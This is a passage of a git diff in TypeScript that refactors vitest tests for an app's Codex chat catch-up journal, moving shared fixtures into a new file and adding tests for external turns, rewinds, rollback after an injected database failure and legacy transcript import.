openTestAgentSessionRecordStore } from '../runtime/agent-session-record-store-test-harness' -import { recoverStructuredRewind } from '../native-chat/agent-session-wire/structured-rewind-recovery' -import { usableJournalHistoryOrigin } from '../native-chat/agent-session-journal/journal-history-origin' -import { catchUpCodexThread } from './codex-structured-thread-catch-up' -const SESSION = 'session-codex-catch-up' -const THREAD = 'thread-abc' -const STARTED_AT = 1_700_000_000 +import { SESSION, THREAD, chat, turn } from './codex-thread-catch-up-contract-test-fixture' -export function turn(index: number, view: 'full' | 'summary' = 'full'): Record { - return { - id: `turn-${index}`, - status: 'completed', - itemsView: view, - startedAt: STARTED_AT + index * 100, - completedAt: STARTED_AT + index * 100 + 50, - items: [ - { type: 'userMessage', id: `u-${index}`, content: [{ type: 'text', text: `ask ${index}` }] }, - { type: 'agentMessage', id: `a-${index}`, text: `answer ${index}` } - ] - } -} - -function codexWith(turns: Record[]) { - return { - request: async (method: string, params?: Record) => { - expect(method).toBe('thread/turns/list') - expect(params).toMatchObject({ sortDirection: 'desc', limit: 100 }) - const newestFirst = turns.toReversed() - const start = typeof params?.cursor === 'string' ? Number(params.cursor) : 0 - const data = newestFirst.slice(start, start + 2) - return { - data, - nextCursor: start + 2 < newestFirst.length ? String(start + 2) : null - } - } - } -} - -const journals = createTrackedJournalOpener() -const cleanups: (() => Promise)[] = [] -afterEach(async () => { - for (const cleanup of cleanups.splice(0)) { - await cleanup() - } +it('retains the complete outside answer tail through catch-up, disk reopen and display', async () => { + const c = await chat({ now: 1_000 }) + await c.open([turn(1)]) + const answer = `${'outside answer paragraph\n'.repeat(1_024)}END-OF-OUTSIDE-ANSWER-30883` + const outside = { ...turn(2), items: [{ type: 'agentMessage', id: 'a-2', text: answer }] } + await c.open([turn(1), outside]) + await c.reopen() + const items = c.journal.snapshot().items + const stored = items.find( + (item) => + item.body.kind === 'message' && + item.body.role === 'assistant' && + item.body.blocks.some((block) => block.type === 'text' && block.text === answer) + ) + expect(stored?.body).toEqual({ + kind: 'message', + role: 'assistant', + blocks: [{ type: 'text', text: answer }] + }) + const displayed = projectStructuredItemsToNativeChat(items).flatMap((message) => message.blocks) + expect(displayed).toContainEqual({ type: 'text', text: answer }) }) -export async function chat(clock: { now: number }) { - const root = await mkdtemp(join(tmpdir(), 'orca-codex-catch-up-')) - const journalOptions = { - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - } satisfies AgentSessionJournalIdentity, - stateDirectory: root, - now: () => clock.now +it('adds the turns made outside the chat once, in order, after the chat rows', async () => { + const c = await chat({ now: 1_000 }) + + await c.open([turn(1)]) + expect(c.texts()).toEqual(['user:ask 1', 'assistant:answer 1']) + + await c.open([turn(1), turn(2), turn(3)]) + const caughtUp = [ + 'user:ask 1', + 'assistant:answer 1', + '(continued-outside)', + 'user:ask 2', + 'assistant:answer 2', + 'user:ask 3', + 'assistant:answer 3' + ] + expect(c.texts()).toEqual(caughtUp) + + await c.open([turn(1), turn(2), turn(3)]) + expect(c.texts()).toEqual(caughtUp) + + // An external rewind preserves displayed rows and adds a notice. + await c.open([turn(1), turn(2), turn(4)]) + expect(c.texts().slice(caughtUp.length)).toEqual([ + '(continued-outside-rewound)', + 'user:ask 4', + 'assistant:answer 4' + ]) + + // Summary-only history cannot be imported. + await c.open([turn(1), turn(2), turn(4), turn(6, 'summary')]) + expect(c.texts().slice(caughtUp.length + 3)).toEqual([]) +}) + +it('recovers an older gap behind newer native work after a failed read and restart', async () => { + const c = await chat({ now: 1_000 }) + await c.open([turn(1)]) + const failed = { + request: async () => { + throw new Error('read failed') + } } - let journal = await journals.open(journalOptions) - let deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) - const publications: number[] = [] - const bind = () => - deferred.bind({ - journal, - fence: 1, - publish: () => { - publications.push(journal.snapshot().items.length) - } - }) - bind() - cleanups.push(async () => { - deferred.close() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) + await c.open([turn(1), turn(2)], { connection: failed }) + const native = createCodexJournalTranslator({ + sink: c.deferred.sink, + sessionId: SESSION, + primaryThreadId: () => THREAD }) - return { - get journal() { - return journal - }, - get deferred() { - return deferred - }, - root, - get db() { - return openTestJournalHostDatabase(root).db - }, - publications, - reopen: async () => { - deferred.close() - await journal.close() - await closeTestJournalHostDatabase(root) - journal = await journals.open(journalOptions) - deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) - bind() - }, - open: async ( - turns: Record[], - options: Partial[0]> = {} - ) => { - await catchUpCodexThread({ - connection: codexWith(turns), - threadId: THREAD, - sessionId: SESSION, - sink: deferred.sink, - ...options - }) - return deferred.drained() - }, - texts: () => - journal.snapshot().items.flatMap((item) => { - if (item.body.kind === 'message') { - const text = item.body.blocks.map((block) => (block.type === 'text' ? block.text : '')) - return [`${item.body.role}:${text.join('')}`] - } - return item.body.kind === 'status' && item.body.presentation - ? [`(${item.body.presentation})`] - : [] - }) + for (const [method, params] of [ + ['turn/started', { turn: { id: 'turn-3' } }], + [ + 'item/completed', + { turnId: 'turn-3', item: { type: 'agentMessage', id: 'native', text: 'native C' } } + ], + ['turn/completed', { turn: { id: 'turn-3', status: 'completed' } }] + ] as const) { + native.handle({ type: 'notification', sessionId: SESSION, threadId: THREAD, method, params }) } -} + await c.deferred.drained() + native.dispose() + const before = c.journal.snapshot().items + await c.reopen() + await c.open([turn(1), turn(2), turn(3)]) + expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) + expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) + await c.open([turn(1), turn(2), turn(3), turn(4)]) + expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 4', 'assistant:answer 4']) +}) -describe('Codex chat catch-up', () => { - registerCodexCatchUpEchoTests({ chat, turn, sessionId: SESSION, threadId: THREAD }) - - it('retains the complete outside answer tail through catch-up, disk reopen and display', async () => { - const c = await chat({ now: 1_000 }) - await c.open([turn(1)]) - const answer = `${'outside answer paragraph\n'.repeat(1_024)}END-OF-OUTSIDE-ANSWER-30883` - const outside = { ...turn(2), items: [{ type: 'agentMessage', id: 'a-2', text: answer }] } - await c.open([turn(1), outside]) - await c.reopen() - const items = c.journal.snapshot().items - const stored = items.find( - (item) => - item.body.kind === 'message' && - item.body.role === 'assistant' && - item.body.blocks.some((block) => block.type === 'text' && block.text === answer) - ) - expect(stored?.body).toEqual({ - kind: 'message', - role: 'assistant', - blocks: [{ type: 'text', text: answer }] - }) - const displayed = projectStructuredItemsToNativeChat(items).flatMap((message) => message.blocks) - expect(displayed).toContainEqual({ type: 'text', text: answer }) +it('uses the continued-outside notice after a receipt-only known turn', async () => { + const c = await chat({ now: 1_000 }) + const body = { kind: 'message' as const, role: 'user' as const, blocks: [] } + await c.journal.appendSubmission({ + clientMessageId: 'receipt', + body, + payloadFingerprint: 'receipt', + fence: 1 }) - - it('adds the turns made outside the chat once, in order, after the chat rows', async () => { - const c = await chat({ now: 1_000 }) - - await c.open([turn(1)]) - expect(c.texts()).toEqual(['user:ask 1', 'assistant:answer 1']) - - await c.open([turn(1), turn(2), turn(3)]) - const caughtUp = [ - 'user:ask 1', - 'assistant:answer 1', - '(continued-outside)', - 'user:ask 2', - 'assistant:answer 2', - 'user:ask 3', - 'assistant:answer 3' - ] - expect(c.texts()).toEqual(caughtUp) - - await c.open([turn(1), turn(2), turn(3)]) - expect(c.texts()).toEqual(caughtUp) - - // An external rewind preserves displayed rows and adds a notice. - await c.open([turn(1), turn(2), turn(4)]) - expect(c.texts().slice(caughtUp.length)).toEqual([ - '(continued-outside-rewound)', - 'user:ask 4', - 'assistant:answer 4' - ]) - - // Summary-only history cannot be imported. - await c.open([turn(1), turn(2), turn(4), turn(6, 'summary')]) - expect(c.texts().slice(caughtUp.length + 3)).toEqual([]) + await c.journal.resolveDispatch({ + clientMessageId: 'receipt', + state: 'accepted', + providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 0 }, + fence: 1 }) + await c.open([turn(1), turn(2)]) + expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) +}) - it('recovers an older gap behind newer native work after a failed read and restart', async () => { - const c = await chat({ now: 1_000 }) - await c.open([turn(1)]) - const failed = { - request: async () => { - throw new Error('read failed') - } - } - await c.open([turn(1), turn(2)], { connection: failed }) - const native = createCodexJournalTranslator({ - sink: c.deferred.sink, - sessionId: SESSION, - primaryThreadId: () => THREAD - }) - for (const [method, params] of [ - ['turn/started', { turn: { id: 'turn-3' } }], - [ - 'item/completed', - { turnId: 'turn-3', item: { type: 'agentMessage', id: 'native', text: 'native C' } } - ], - ['turn/completed', { turn: { id: 'turn-3', status: 'completed' } }] - ] as const) { - native.handle({ type: 'notification', sessionId: SESSION, threadId: THREAD, method, params }) - } - await c.deferred.drained() - native.dispose() - const before = c.journal.snapshot().items - await c.reopen() - await c.open([turn(1), turn(2), turn(3)]) - expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) - expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) - await c.open([turn(1), turn(2), turn(3), turn(4)]) - expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 4', 'assistant:answer 4']) - }) - - it('uses the continued-outside notice after a receipt-only known turn', async () => { - const c = await chat({ now: 1_000 }) - const body = { kind: 'message' as const, role: 'user' as const, blocks: [] } - await c.journal.appendSubmission({ - clientMessageId: 'receipt', - body, - payloadFingerprint: 'receipt', - fence: 1 - }) - await c.journal.resolveDispatch({ - clientMessageId: 'receipt', - state: 'accepted', - providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 0 }, - fence: 1 - }) - await c.open([turn(1), turn(2)]) - expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) - }) - - it('commits a 600-message import once, rolls back a later partition failure, and recovers', async () => { - const c = await chat({ now: 1_000 }) - await c.open([turn(1)]) - const before = c.journal.snapshot() - const large = { - ...turn(2), - items: Array.from({ length: 600 }, (_, n) => ({ - type: 'agentMessage', - id: `item-${n}`, - text: `answer ${n}` - })) - } - const seq = c.journal.cursor().sequence - c.db.exec( - `CREATE TRIGGER fail_later_partition BEFORE INSERT ON journal_rows WHEN NEW.seq > ${seq + 1} BEGIN SELECT RAISE(ABORT, 'injected later partition failure'); END` - ) - expect((await c.open([turn(1), large])).ok).toBe(false) - expect(c.deferred.state().failed).toBe(true) - expect(c.journal.snapshot()).toEqual(before) - c.db.exec('DROP TRIGGER fail_later_partition') - await c.reopen() - expect(c.journal.snapshot()).toEqual(before) - c.publications.length = 0 - await c.open([turn(1), large]) - expect(c.texts()).toHaveLength(603) - expect(c.publications).toEqual([before.items.length + 602]) - await c.reopen() - await c.open([turn(1), large]) - expect(c.texts()).toHaveLength(603) - }) - - it('keeps rollback reasoning and message identities immutable across turns', async () => { - const c = await chat({ now: 1_000 }) - const withReasoning = (n: number) => ({ - ...turn(n), - items: [ - { type: 'reasoning', id: 'item-2', summary: [{ text: `reason ${n}` }] }, - { type: 'agentMessage', id: 'same-message-id', text: `answer ${n}` } - ] - }) - await c.open([withReasoning(1)]) - const before = c.journal.snapshot().items - await c.open([withReasoning(2)]) - expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) - expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ - 'assistant:answer 1', - 'assistant:answer 2' - ]) - const reasoning = c.journal - .snapshot() - .items.filter((item) => item.body.kind === 'message' && item.body.role === 'reasoning') - expect(new Set(reasoning.map((item) => item.itemId)).size).toBe(2) - expect(new Set(reasoning.map((item) => JSON.stringify(item.turnScope))).size).toBe(2) - }) - - it('retains the original adoption cutoff through native rewind and disk recovery', async () => { - const clock = { now: 50_000 } - const c = await chat(clock) - let store = await openTestAgentSessionRecordStore(c.root) - const callerKey = 'catch-up-test' - await store.reserveOwner({ - sessionId: SESSION, - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: 'workspace-1', - workspaceKind: 'folder' - }, - provider: 'codex', - accountHome: { variable: 'CODEX_HOME', path: join(c.root, 'qa-codex') }, - expectedFence: null, - spawnToken: 'fixture-only', - claimKeyId: 'fixture', - handoffOperationId: null, - probe: { outcome: 'indeterminate', reason: 'fixture' }, - operation: { - callerKey, - operationId: '0000000050000-00000000000000000000000000000001', - fingerprint: 'create' - }, - now: clock.now - }) - await store.commitProcessIdentity({ - sessionId: SESSION, - fence: 1, - process: { - hostId: 'local', - pid: 424242, - processStartTimeMs: clock.now, - spawnToken: 'fixture-only' - }, - now: clock.now - }) - await store.proveOwner({ - sessionId: SESSION, - fence: 1, - link: { - linkId: 'adopted', - handle: codexProviderHandle(THREAD), - origin: 'adopted', - mintedAtFence: 1, - observedAt: clock.now - }, - now: clock.now - }) - const filePath = join(c.root, 'rollout.jsonl') - await writeFile( - filePath, - [ - { - timestamp: '1970-01-01T00:01:40.000Z', - type: 'event_msg', - payload: { type: 'user_message', message: 'old A ask' } - }, - { - timestamp: '1970-01-01T00:01:50.000Z', - type: 'event_msg', - payload: { type: 'agent_message', message: 'old A answer' } - } - ] - .map((line) => JSON.stringify(line)) - .join('\n') - ) - clock.now = 200_000 - expect( - await importLegacyTranscriptIntoJournal({ - journal: c.journal, - agent: 'codex', - sessionId: THREAD, - fence: 1, - options: { filePath } - }) - ).toMatchObject({ ok: true, imported: 2 }) - const original = c.journal.snapshot().items - const dated = (n: number) => ({ ...turn(n), startedAt: n, completedAt: n + 10 }) - await c.open([dated(100), dated(300)]) - const target = agentJournalItemKey({ - provider: 'codex', - threadId: THREAD, - turnId: 'turn-300', - ordinal: 0 - }) - const operationId = '0000000500000-00000000000000000000000000000002' - await store.admitOperation({ - callerKey, - operationId, - fingerprint: 'rewind', - now: 500_000 - }) - await store.transitionHandoff(SESSION, (record) => ({ - ...record, - rewind: { - operationId, - callerKey, - itemId: target, - expectedEpoch: c.journal.epoch, - phase: 'provider-succeeded' - } +it('commits a 600-message import once, rolls back a later partition failure, and recovers', async () => { + const c = await chat({ now: 1_000 }) + await c.open([turn(1)]) + const before = c.journal.snapshot() + const large = { + ...turn(2), + items: Array.from({ length: 600 }, (_, n) => ({ + type: 'agentMessage', + id: `item-${n}`, + text: `answer ${n}` })) - clock.now = 500_000 - const deps = () => ({ store, logger: testEventSinkLogging().logger }) - await recoverStructuredRewind(deps(), SESSION, c.journal, 1) - expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) - await c.reopen() - store = await openTestAgentSessionRecordStore(c.root) - await recoverStructuredRewind(deps(), SESSION, c.journal, 1) - expect(store.getRecord(SESSION)?.rewind?.phase).toBe('completed') - expect(usableJournalHistoryOrigin(c.journal.historyOrigin())?.importedAt).toBe(200_000) - await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) - expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ - 'assistant:old A answer', - 'assistant:answer 250', - 'assistant:answer 600' - ]) - expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) - const complete = c.journal.snapshot() - await c.reopen() - await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) - expect(c.journal.snapshot()).toEqual(complete) - }) - - it('keeps erased-origin legacy chats readable without guessing from native IDs', async () => { - const c = await chat({ now: 200_000 }) - const kept = { - identity: { provider: 'legacy', agent: 'codex', sessionId: THREAD, recordId: '#0' } as const, - ownerFence: 1, - body: { - kind: 'message' as const, - role: 'user' as const, - blocks: [{ type: 'text' as const, text: 'legacy' }] - } - } - await c.journal.replaceEpochItems('session_created', 1, [kept]) - await c.reopen() - await c.journal.appendItem( - { provider: 'codex', threadId: THREAD, turnId: 'native', ordinal: 0 }, - { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'ordinary reply' }] }, - { fence: 1, turnScope: { kind: 'thread' } } - ) - await c.open([turn(3)]) - expect(c.texts()).toEqual(['user:legacy', 'assistant:ordinary reply']) - }) + } + const seq = c.journal.cursor().sequence + c.db.exec( + `CREATE TRIGGER fail_later_partition BEFORE INSERT ON journal_rows WHEN NEW.seq > ${seq + 1} BEGIN SELECT RAISE(ABORT, 'injected later partition failure'); END` + ) + expect((await c.open([turn(1), large])).ok).toBe(false) + expect(c.deferred.state().failed).toBe(true) + expect(c.journal.snapshot()).toEqual(before) + c.db.exec('DROP TRIGGER fail_later_partition') + await c.reopen() + expect(c.journal.snapshot()).toEqual(before) + c.publications.length = 0 + await c.open([turn(1), large]) + expect(c.texts()).toHaveLength(603) + expect(c.publications).toEqual([before.items.length + 602]) + await c.reopen() + await c.open([turn(1), large]) + expect(c.texts()).toHaveLength(603) }) + +it('keeps rollback reasoning and message identities immutable across turns', async () => { + const c = await chat({ now: 1_000 }) + const withReasoning = (n: number) => ({ + ...turn(n), + items: [ + { type: 'reasoning', id: 'item-2', summary: [{ text: `reason ${n}` }] }, + { type: 'agentMessage', id: 'same-message-id', text: `answer ${n}` } + ] + }) + await c.open([withReasoning(1)]) + const before = c.journal.snapshot().items + await c.open([withReasoning(2)]) + expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) + expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ + 'assistant:answer 1', + 'assistant:answer 2' + ]) + const reasoning = c.journal + .snapshot() + .items.filter((item) => item.body.kind === 'message' && item.body.role === 'reasoning') + expect(new Set(reasoning.map((item) => item.itemId)).size).toBe(2) + expect(new Set(reasoning.map((item) => JSON.stringify(item.turnScope))).size).toBe(2) +}) + +export { chat, turn } from './codex-thread-catch-up-contract-test-fixture' + +registerCodexCatchUpEchoTests({ chat, turn, sessionId: SESSION, threadId: THREAD }) diff --git a/src/main/codex/codex-thread-catch-up-contract-test-fixture.ts b/src/main/codex/codex-thread-catch-up-contract-test-fixture.ts new file mode 100644 index 00000000000..15eb1de0a05 --- /dev/null +++ b/src/main/codex/codex-thread-catch-up-contract-test-fixture.ts @@ -0,0 +1,136 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect } from 'vitest' +import type { AgentSessionJournalIdentity } from '../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener, + openTestJournalHostDatabase +} from '../native-chat/agent-session-journal/journal-host-database-test-support' +import { createDeferredStructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' +import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' +import { catchUpCodexThread } from './codex-structured-thread-catch-up' + +export const SESSION = 'session-codex-catch-up' + +export const THREAD = 'thread-abc' + +export const STARTED_AT = 1_700_000_000 + +export function turn(index: number, view: 'full' | 'summary' = 'full'): Record { + return { + id: `turn-${index}`, + status: 'completed', + itemsView: view, + startedAt: STARTED_AT + index * 100, + completedAt: STARTED_AT + index * 100 + 50, + items: [ + { type: 'userMessage', id: `u-${index}`, content: [{ type: 'text', text: `ask ${index}` }] }, + { type: 'agentMessage', id: `a-${index}`, text: `answer ${index}` } + ] + } +} + +export function codexWith(turns: Record[]) { + return { + request: async (method: string, params?: Record) => { + expect(method).toBe('thread/turns/list') + expect(params).toMatchObject({ sortDirection: 'desc', limit: 100 }) + const newestFirst = turns.toReversed() + const start = typeof params?.cursor === 'string' ? Number(params.cursor) : 0 + const data = newestFirst.slice(start, start + 2) + return { + data, + nextCursor: start + 2 < newestFirst.length ? String(start + 2) : null + } + } + } +} + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +export const cleanups: (() => Promise)[] = [] + +afterEach(async () => { + for (const cleanup of cleanups.splice(0)) { + await cleanup() + } +}) + +export async function chat(clock: { now: number }) { + const root = await mkdtemp(join(tmpdir(), 'orca-codex-catch-up-')) + const journalOptions = { + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + } satisfies AgentSessionJournalIdentity, + stateDirectory: root, + now: () => clock.now + } + let journal = await journals.open(journalOptions) + let deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) + const publications: number[] = [] + const bind = () => + deferred.bind({ + journal, + fence: 1, + publish: () => { + publications.push(journal.snapshot().items.length) + } + }) + bind() + cleanups.push(async () => { + deferred.close() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + return { + get journal() { + return journal + }, + get deferred() { + return deferred + }, + root, + get db() { + return openTestJournalHostDatabase(root).db + }, + publications, + reopen: async () => { + deferred.close() + await journal.close() + await closeTestJournalHostDatabase(root) + journal = await journals.open(journalOptions) + deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) + bind() + }, + open: async ( + turns: Record[], + options: Partial[0]> = {} + ) => { + await catchUpCodexThread({ + connection: codexWith(turns), + threadId: THREAD, + sessionId: SESSION, + sink: deferred.sink, + ...options + }) + return deferred.drained() + }, + texts: () => + journal.snapshot().items.flatMap((item) => { + if (item.body.kind === 'message') { + const text = item.body.blocks.map((block) => (block.type === 'text' ? block.text : '')) + return [`${item.body.role}:${text.join('')}`] + } + return item.body.kind === 'status' && item.body.presentation + ? [`(${item.body.presentation})`] + : [] + }) + } +} diff --git a/src/main/codex/codex-thread-catch-up-rewind.test.ts b/src/main/codex/codex-thread-catch-up-rewind.test.ts new file mode 100644 index 00000000000..bd145d5a57f --- /dev/null +++ b/src/main/codex/codex-thread-catch-up-rewind.test.ts @@ -0,0 +1,160 @@ +import { writeFile } from 'node:fs/promises' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' +import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' +import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' +import { importLegacyTranscriptIntoJournal } from '../native-chat/agent-session-journal/journal-legacy-import' +import { openTestAgentSessionRecordStore } from '../runtime/agent-session-record-store-test-harness' +import { recoverStructuredRewind } from '../native-chat/agent-session-wire/structured-rewind-recovery' +import { usableJournalHistoryOrigin } from '../native-chat/agent-session-journal/journal-history-origin' + +import { SESSION, THREAD, chat, turn } from './codex-thread-catch-up-contract-test-fixture' + +it('retains the original adoption cutoff through native rewind and disk recovery', async () => { + const clock = { now: 50_000 } + const c = await chat(clock) + let store = await openTestAgentSessionRecordStore(c.root) + const callerKey = 'catch-up-test' + await store.reserveOwner({ + sessionId: SESSION, + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: 'workspace-1', + workspaceKind: 'folder' + }, + provider: 'codex', + accountHome: { variable: 'CODEX_HOME', path: join(c.root, 'qa-codex') }, + expectedFence: null, + spawnToken: 'fixture-only', + claimKeyId: 'fixture', + handoffOperationId: null, + probe: { outcome: 'indeterminate', reason: 'fixture' }, + operation: { + callerKey, + operationId: '0000000050000-00000000000000000000000000000001', + fingerprint: 'create' + }, + now: clock.now + }) + await store.commitProcessIdentity({ + sessionId: SESSION, + fence: 1, + process: { + hostId: 'local', + pid: 424242, + processStartTimeMs: clock.now, + spawnToken: 'fixture-only' + }, + now: clock.now + }) + await store.proveOwner({ + sessionId: SESSION, + fence: 1, + link: { + linkId: 'adopted', + handle: codexProviderHandle(THREAD), + origin: 'adopted', + mintedAtFence: 1, + observedAt: clock.now + }, + now: clock.now + }) + const filePath = join(c.root, 'rollout.jsonl') + await writeFile( + filePath, + [ + { + timestamp: '1970-01-01T00:01:40.000Z', + type: 'event_msg', + payload: { type: 'user_message', message: 'old A ask' } + }, + { + timestamp: '1970-01-01T00:01:50.000Z', + type: 'event_msg', + payload: { type: 'agent_message', message: 'old A answer' } + } + ] + .map((line) => JSON.stringify(line)) + .join('\n') + ) + clock.now = 200_000 + expect( + await importLegacyTranscriptIntoJournal({ + journal: c.journal, + agent: 'codex', + sessionId: THREAD, + fence: 1, + options: { filePath } + }) + ).toMatchObject({ ok: true, imported: 2 }) + const original = c.journal.snapshot().items + const dated = (n: number) => ({ ...turn(n), startedAt: n, completedAt: n + 10 }) + await c.open([dated(100), dated(300)]) + const target = agentJournalItemKey({ + provider: 'codex', + threadId: THREAD, + turnId: 'turn-300', + ordinal: 0 + }) + const operationId = '0000000500000-00000000000000000000000000000002' + await store.admitOperation({ + callerKey, + operationId, + fingerprint: 'rewind', + now: 500_000 + }) + await store.transitionHandoff(SESSION, (record) => ({ + ...record, + rewind: { + operationId, + callerKey, + itemId: target, + expectedEpoch: c.journal.epoch, + phase: 'provider-succeeded' + } + })) + clock.now = 500_000 + const deps = () => ({ store, logger: testEventSinkLogging().logger }) + await recoverStructuredRewind(deps(), SESSION, c.journal, 1) + expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) + await c.reopen() + store = await openTestAgentSessionRecordStore(c.root) + await recoverStructuredRewind(deps(), SESSION, c.journal, 1) + expect(store.getRecord(SESSION)?.rewind?.phase).toBe('completed') + expect(usableJournalHistoryOrigin(c.journal.historyOrigin())?.importedAt).toBe(200_000) + await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) + expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ + 'assistant:old A answer', + 'assistant:answer 250', + 'assistant:answer 600' + ]) + expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) + const complete = c.journal.snapshot() + await c.reopen() + await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) + expect(c.journal.snapshot()).toEqual(complete) +}) + +it('keeps erased-origin legacy chats readable without guessing from native IDs', async () => { + const c = await chat({ now: 200_000 }) + const kept = { + identity: { provider: 'legacy', agent: 'codex', sessionId: THREAD, recordId: '#0' } as const, + ownerFence: 1, + body: { + kind: 'message' as const, + role: 'user' as const, + blocks: [{ type: 'text' as const, text: 'legacy' }] + } + } + await c.journal.replaceEpochItems('session_created', 1, [kept]) + await c.reopen() + await c.journal.appendItem( + { provider: 'codex', threadId: THREAD, turnId: 'native', ordinal: 0 }, + { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'ordinary reply' }] }, + { fence: 1, turnScope: { kind: 'thread' } } + ) + await c.open([turn(3)]) + expect(c.texts()).toEqual(['user:legacy', 'assistant:ordinary reply']) +}) diff --git a/src/main/codex/codex-turn-lifecycle-completion.test.ts b/src/main/codex/codex-turn-lifecycle-completion.test.ts new file mode 100644 index 00000000000..1bb894a9ad9 --- /dev/null +++ b/src/main/codex/codex-turn-lifecycle-completion.test.ts @@ -0,0 +1,194 @@ +import { describe, expect, it, vi } from 'vitest' +import { + readAgentJournalTurn, + readAgentJournalTurnOutcome +} from '../../shared/agent-session-turn-record' +import type { CodexAppServerConnection } from './app-server/codex-app-server-connection-types' +import { createCodexJournalTranslator } from './codex-structured-journal-translation' +import { createCodexStructuredNotificationRetry } from './codex-structured-notification-retry' +import type { CodexSession } from './codex-structured-session-state' + +import { + LIFECYCLE_KEY, + SESSION_ID, + THREAD_ID, + TURN_ID, + USER_ITEM_ID, + notification, + recorder, + reduced, + translatorFor +} from './codex-turn-lifecycle-contract-test-fixture' + +describe('codex turn lifecycle rows', () => { + it('keeps the verdict when a send echoed after completion revises the settled row', () => { + const tap = recorder() + const translator = createCodexJournalTranslator({ + sink: tap.sink, + sessionId: SESSION_ID, + primaryThreadId: () => THREAD_ID, + dispatchRequestOrigin: () => ({ requestedAt: 900, sequence: 0 }) + }) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle( + notification('turn/completed', { turn: { id: TURN_ID, status: 'failed' } }, 2_000) + ) + translator.handle( + notification( + 'item/started', + { + turn: { id: TURN_ID }, + item: { type: 'userMessage', id: 'user-1', clientId: 'client-1' } + }, + 2_100 + ) + ) + + // requestedAt distinguishes the post-echo revision from the original terminal row. + const lifecycle = reduced(tap.rows).find((row) => row.key === LIFECYCLE_KEY) + expect(lifecycle?.body).toMatchObject({ + kind: 'turn', + state: 'completed', + outcome: 'failure', + requestedAt: 900 + }) + }) + + it('carries the provider duration and the same user item onto the terminal row', () => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle( + notification( + 'turn/completed', + { turn: { id: TURN_ID, status: 'completed', durationMs: 3_250 } }, + 4_500 + ) + ) + + expect(tap.rows.at(-1)).toEqual({ + key: LIFECYCLE_KEY, + body: { + kind: 'turn', + turnId: TURN_ID, + state: 'completed', + outcome: 'success', + userItemId: USER_ITEM_ID, + startedAt: 1_000, + completedAt: 4_500, + durationMs: 3_250 + } + }) + }) + + it.each([ + ['interrupted', 'interrupted', 'cancellation'], + ['failed', 'completed', 'failure'], + ['someFutureStatus', 'completed', undefined], + ['inProgress', 'completed', undefined] + ] as const)( + 'maps a %s turn status to a %s lifecycle with outcome %s', + (status, state, outcome) => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle(notification('turn/completed', { turn: { id: TURN_ID, status } }, 2_000)) + + expect(tap.tombstones).toEqual([]) + expect(reduced(tap.rows)).toEqual([ + { + key: LIFECYCLE_KEY, + body: { + kind: 'turn', + turnId: TURN_ID, + state, + ...(outcome ? { outcome } : {}), + userItemId: USER_ITEM_ID, + startedAt: 1_000, + completedAt: 2_000 + } + } + ]) + } + ) + + it('records no outcome for a turn end that named no status', () => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 2_000)) + + const body = reduced(tap.rows).at(-1)?.body + expect(body).toMatchObject({ kind: 'turn', state: 'completed' }) + 